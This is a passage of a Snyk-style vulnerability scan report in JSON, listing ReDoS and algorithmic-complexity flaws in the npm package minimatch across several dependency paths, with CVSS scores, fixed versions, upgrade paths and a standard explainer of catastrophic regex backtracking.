"GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 